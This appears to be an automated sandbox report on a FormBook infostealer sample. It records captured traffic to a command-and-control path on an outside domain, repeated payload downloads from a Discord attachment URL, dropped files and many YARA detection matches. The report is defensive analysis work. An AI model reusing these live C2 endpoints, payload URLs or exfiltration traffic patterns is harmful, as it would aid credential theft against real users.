HTTP traffic detected: GET /m9g2/?xXV=6l9PRhy0D4S&GvW=sz5ErymDSipaI2rGHMiHzQDn8335WrDZWT7fmGUTYuWWeT2KiLBKARdoGEtcQCocu9tS HTTP/1.1Host: www.sentlogisticsja.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic	HTTP traffic detected: POST /m9g2/ HTTP/1.1Host: www.sentlogisticsja.comConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.sentlogisticsja.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.sentlogisticsja.com/m9g2/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 47 76 57 3d 6b 52 31 2d 31 57 32 49 66 69 6b 71 56 31 57 2d 65 70 48 42 74 33 28 62 72 55 7a 4b 55 37 33 73 55 55 72 5a 7a 31 55 56 52 74 43 71 61 41 53 53 76 4c 49 55 4f 46 51 61 65 42 4e 34 4d 68 41 52 73 4f 41 4e 32 5a 52 39 72 4c 6a 76 46 4f 65 52 46 6a 6b 6a 32 5f 78 41 44 55 76 5f 67 61 55 64 54 64 53 59 47 77 28 45 41 42 54 74 71 33 73 61 48 7a 5a 54 36 72 5a 53 47 39 4f 6f 6e 51 71 68 52 73 7e 70 63 52 32 34 57 62 6b 79 70 30 32 75 31 4a 4b 49 48 32 47 75 49 6d 5a 42 45 49 42 74 61 79 54 46 49 6a 33 63 31 39 44 6a 6c 72 69 58 6e 45 52 30 61 62 48 7a 61 32 4a 42 79 74 59 6b 4b 6a 50 4c 66 5a 50 74 35 68 79 6a 51 47 32 62 32 64 61 66 6f 49 51 65 4a 4c 59 4e 28 71 59 6b 47 6a 77 35 49 54 4c 4d 51 6f 68 35 4d 77 72 4e 42 63 6b 72 6d 49 34 4c 4e 6c 7e 59 6e 59 6d 34 6c 7a 58 43 6e 37 38 4b 28 36 54 5a 49 30 76 32 5a 74 47 5a 70 67 72 2d 32 38 57 6a 77 61 77 68 50 35 6c 4e 45 6f 42 6b 36 50 4c 78 66 6c 62 49 37 4a 38 73 39 2d 63 6e 51 77 32 53 69 4f 64 59 46 77 28 45 4c 4e 48 75 57 51 45 34 62 69 4d 5a 46 77 54 7a 52 73 4f 52 73 75 76 4a 28 7a 78 46 4d 48 64 37 34 75 39 6c 6c 32 4f 66 71 44 59 78 4b 64 57 51 45 68 30 4a 6e 42 4a 63 69 70 4e 4f 78 37 4d 41 28 71 41 42 49 78 76 76 72 49 6b 4e 6c 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: GvW=kR1-1W2IfikqV1W-epHBt3(brUzKU73sUUrZz1UVRtCqaASSvLIUOFQaeBN4MhARsOAN2ZR9rLjvFOeRFjkj2_xADUv_gaUdTdSYGw(EABTtq3saHzZT6rZSG9OonQqhRs~pcR24Wbkyp02u1JKIH2GuImZBEIBtayTFIj3c19DjlriXnER0abHza2JBytYkKjPLfZPt5hyjQG2b2dafoIQeJLYN(qYkGjw5ITLMQoh5MwrNBckrmI4LNl~YnYm4lzXCn78K(6TZI0v2ZtGZpgr-28WjwawhP5lNEoBk6PLxflbI7J8s9-cnQw2SiOdYFw(ELNHuWQE4biMZFwTzRsORsuvJ(zxFMHd74u9ll2OfqDYxKdWQEh0JnBJcipNOx7MA(qABIxvvrIkNlQ).
Source: global traffic	HTTP traffic detected: POST /m9g2/ HTTP/1.1Host: www.sentlogisticsja.comConnection: closeContent-Length: 149769Cache-Control: no-cacheOrigin: http://www.sentlogisticsja.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.sentlogisticsja.com/m9g2/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 47 76 57 3d 6b 52 31 2d 31 57 43 36 50 43 78 73 52 48 79 37 66 35 58 5a 6e 58 4f 43 36 46 54 56 64 49 6e 53 4f 44 61 65 7a 30 6b 52 65 4f 4b 43 51 41 69 53 6e 70 52 64 44 46 51 5a 59 42 4e 5f 61 52 63 74 79 73 51 37 32 64 68 48 72 4c 62 73 50 76 75 51 46 7a 6c 72 32 66 39 38 46 55 37 76 67 63 55 34 53 34 43 2d 4e 51 37 45 5a 78 37 72 76 6b 6b 52 47 32 70 51 34 62 46 58 45 39 57 78 6e 6a 76 42 53 4a 7e 4c 62 51 61 2d 52 74 6b 44 6d 58 28 78 78 65 75 4d 4a 47 36 74 48 46 6c 53 4b 4c 6c 70 66 33 7a 37 55 78 66 66 72 39 72 6c 67 73 48 71 6a 32 39 6e 59 4c 33 42 61 33 4d 38 71 4c 78 36 59 51 37 54 51 49 44 58 32 30 57 6c 63 56 4f 54 79 66 43 69 71 4c 49 68 4c 4f 6b 53 37 36 46 6b 46 68 59 70 4d 33 6e 6e 57 5a 74 39 5a 53 44 44 41 76 49 6a 7e 34 6f 30 45 48 65 31 74 73 72 33 78 51 37 57 70 37 38 68 7a 61 54 56 51 32 33 4f 4f 36 65 43 6f 67 61 5a 71 2d 33 35 36 70 45 6c 4f 4e 5a 56 42 4c 52 6c 34 66 58 74 51 30 72 77 78 61 51 6c 37 63 41 44 55 77 32 50 6d 4e 31 54 46 77 7e 39 4c 50 75 35 58 68 67 34 62 7a 74 44 49 7a 4c 4a 41 38 4f 51 70 2d 28 4c 6d 77 5a 56 4d 48 46 37 35 62 59 74 33 56 65 66 74 56 63 79 4a 35 43 51 58 42 30 4a 71 68 4a 43 79 4a 67 34 7a 34 63 32 74 4b 67 5a 66 47 65 6f 71 70 42 37 6e 47 67 4e 54 35 44 53 5a 47 52 4f 74 61 4f 79 74 44 41 6d 53 50 71 64 68 65 75 44 4f 46 59 39 49 59 79 48 45 65 4b 2d 7e 73 7e 6a 59 33 4a 5f 48 64 62 68 6e 61 74 45 75 32 59 64 53 5a 47 79 6e 4e 35 55 76 4a 6a 48 4e 78 42 54 45 48 72 71 63 73 68 61 75 42 6d 6e 59 74 4a 73 45 4e 49 2d 64 45 6e 2d 69 6f 32 55 4f 47 4b 65 32 42 4b 52 44 32 37 35 33 78 44 53 71 7a 28 51 45 56 69 32 32 41 78 66 4b 4e 79 6b 4d 66 41 78 4d 41 77 78 7a 34 58 49 63 6d 42 53 39 69 32 4d 28 5a 65 66 35 2d 75 43 39 4c 63 4d 6c 6e 39 39 77 2d 31 4f 52 4c 47 65 56 6c 43 77 47 32 34 5a 66 6c 56 32 69 55 4e 34 6c 59 75 65 58 70 72 77 6b 47 49 56 42 6e 4f 52 47 34 50 51 62 49 41 74 4d 4f 48 74 5a 41 62 75 77 38 34 46 55 67 64 59 66 31 6d 32 48 38 65 5f 37 56 78 79 70 36 63 4b 41 44 65 4d 61 37 70 61 45 32 4e 75 68 75 30 77 77 4e 30 7a 4c 74 51 2d 42 6a 62 41 4b 70 73 45 4f 43 48 73 70 76 77 43 79 66 47 74 4a 39 75 61 57 56 30 77 51 4e 51 59 39 46 6a 61 43 43 51 4b 46 5a 72 6f 6f 31 41 4a 36 75 76 46 38 48 58 76 78 41 67 53 68 51 39 63 71 55 31 52 59 6f 73 38 68 63 7e 4f 51 6e 63 4f 76 44 4f 46 6f 6f 74 53 28 7a 5a 4d 64 42 78 30 57 2d 56 69 4c 78 37 51 69 58 63 58 46 63 48 56 63 44 72 41 42 66 50 76 4a 53 43 58 39 6a 47 32 53 56 4d 58 71 66 4c 61 63 47 44 6d 6a 4c 74 70 7a 65 32 63 59 52 71 6f 70 31 41 6a 68 66 63 79 69 5f 70 55 4c 4c 58 76 44 66 63 38 43 61 62 57 47 66 65

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Thu, 13 Jan 2022 19:23:52 GMTContent-Type: text/htmlContent-Length: 275ETag: "6192576d-113"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Source: WZ454554.exe, 00000002.00000003.285422442.0000000000878000.00000004.00000001.sdmp, WZ454554.exe, 00000002.00000003.285452298.0000000000878000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: help.exe, 00000014.00000002.560892253.0000000003929000.00000004.00020000.sdmp	String found in binary or memory: http://www.sentlogisticsja.com
Source: help.exe, 00000014.00000002.560892253.0000000003929000.00000004.00020000.sdmp	String found in binary or memory: http://www.sentlogisticsja.com/m9g2/

Source: unknown

HTTP traffic detected: POST /m9g2/ HTTP/1.1Host: www.sentlogisticsja.comConnection: closeContent-Length: 409Cache-Control: no-cacheOrigin: http://www.sentlogisticsja.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.sentlogisticsja.com/m9g2/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 47 76 57 3d 6b 52 31 2d 31 57 32 49 66 69 6b 71 56 31 57 2d 65 70 48 42 74 33 28 62 72 55 7a 4b 55 37 33 73 55 55 72 5a 7a 31 55 56 52 74 43 71 61 41 53 53 76 4c 49 55 4f 46 51 61 65 42 4e 34 4d 68 41 52 73 4f 41 4e 32 5a 52 39 72 4c 6a 76 46 4f 65 52 46 6a 6b 6a 32 5f 78 41 44 55 76 5f 67 61 55 64 54 64 53 59 47 77 28 45 41 42 54 74 71 33 73 61 48 7a 5a 54 36 72 5a 53 47 39 4f 6f 6e 51 71 68 52 73 7e 70 63 52 32 34 57 62 6b 79 70 30 32 75 31 4a 4b 49 48 32 47 75 49 6d 5a 42 45 49 42 74 61 79 54 46 49 6a 33 63 31 39 44 6a 6c 72 69 58 6e 45 52 30 61 62 48 7a 61 32 4a 42 79 74 59 6b 4b 6a 50 4c 66 5a 50 74 35 68 79 6a 51 47 32 62 32 64 61 66 6f 49 51 65 4a 4c 59 4e 28 71 59 6b 47 6a 77 35 49 54 4c 4d 51 6f 68 35 4d 77 72 4e 42 63 6b 72 6d 49 34 4c 4e 6c 7e 59 6e 59 6d 34 6c 7a 58 43 6e 37 38 4b 28 36 54 5a 49 30 76 32 5a 74 47 5a 70 67 72 2d 32 38 57 6a 77 61 77 68 50 35 6c 4e 45 6f 42 6b 36 50 4c 78 66 6c 62 49 37 4a 38 73 39 2d 63 6e 51 77 32 53 69 4f 64 59 46 77 28 45 4c 4e 48 75 57 51 45 34 62 69 4d 5a 46 77 54 7a 52 73 4f 52 73 75 76 4a 28 7a 78 46 4d 48 64 37 34 75 39 6c 6c 32 4f 66 71 44 59 78 4b 64 57 51 45 68 30 4a 6e 42 4a 63 69 70 4e 4f 78 37 4d 41 28 71 41 42 49 78 76 76 72 49 6b 4e 6c 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: GvW=kR1-1W2IfikqV1W-epHBt3(brUzKU73sUUrZz1UVRtCqaASSvLIUOFQaeBN4MhARsOAN2ZR9rLjvFOeRFjkj2_xADUv_gaUdTdSYGw(EABTtq3saHzZT6rZSG9OonQqhRs~pcR24Wbkyp02u1JKIH2GuImZBEIBtayTFIj3c19DjlriXnER0abHza2JBytYkKjPLfZPt5hyjQG2b2dafoIQeJLYN(qYkGjw5ITLMQoh5MwrNBckrmI4LNl~YnYm4lzXCn78K(6TZI0v2ZtGZpgr-28WjwawhP5lNEoBk6PLxflbI7J8s9-cnQw2SiOdYFw(ELNHuWQE4biMZFwTzRsORsuvJ(zxFMHd74u9ll2OfqDYxKdWQEh0JnBJcipNOx7MA(qABIxvvrIkNlQ).

Source: unknown

DNS traffic detected: queries for: cdn.discordapp.com

Source: global traffic	HTTP traffic detected: GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcasllzbwmlqsydewtjitxnzf HTTP/1.1User-Agent: lValiHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcasllzbwmlqsydewtjitxnzf HTTP/1.1User-Agent: 97Host: cdn.discordapp.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcasllzbwmlqsydewtjitxnzf HTTP/1.1User-Agent: 11Host: cdn.discordapp.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcasllzbwmlqsydewtjitxnzf HTTP/1.1User-Agent: 85Host: cdn.discordapp.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /m9g2/?xXV=6l9PRhy0D4S&GvW=sz5ErymDSipaI2rGHMiHzQDn8335WrDZWT7fmGUTYuWWeT2KiLBKARdoGEtcQCocu9tS HTTP/1.1Host: www.sentlogisticsja.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49751 version: TLS 1.2

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 21.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.1.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.WZ454554.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.1.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, type: MEMORY

System Summary:

Detected FormBook malware

Show sources

Source: C:\Windows\SysWOW64\help.exe	Dropped file: C:\Users\user\AppData\Roaming\75A8527W\75Alogri.ini			Jump to dropped file
Source: C:\Windows\SysWOW64\help.exe	Dropped file: C:\Users\user\AppData\Roaming\75A8527W\75Alogrv.ini			Jump to dropped file

Malicious sample detected (through community Yara rule)

Show sources

Source: 21.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 21.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.2.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.2.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 21.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 21.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.WZ454554.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.WZ454554.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.1.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.1.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 21.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 21.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 21.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 21.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 21.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 21.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.2.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.2.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.0.WZ454554.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.0.WZ454554.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 9.1.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 9.1.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 17.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 17.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 21.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 21.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
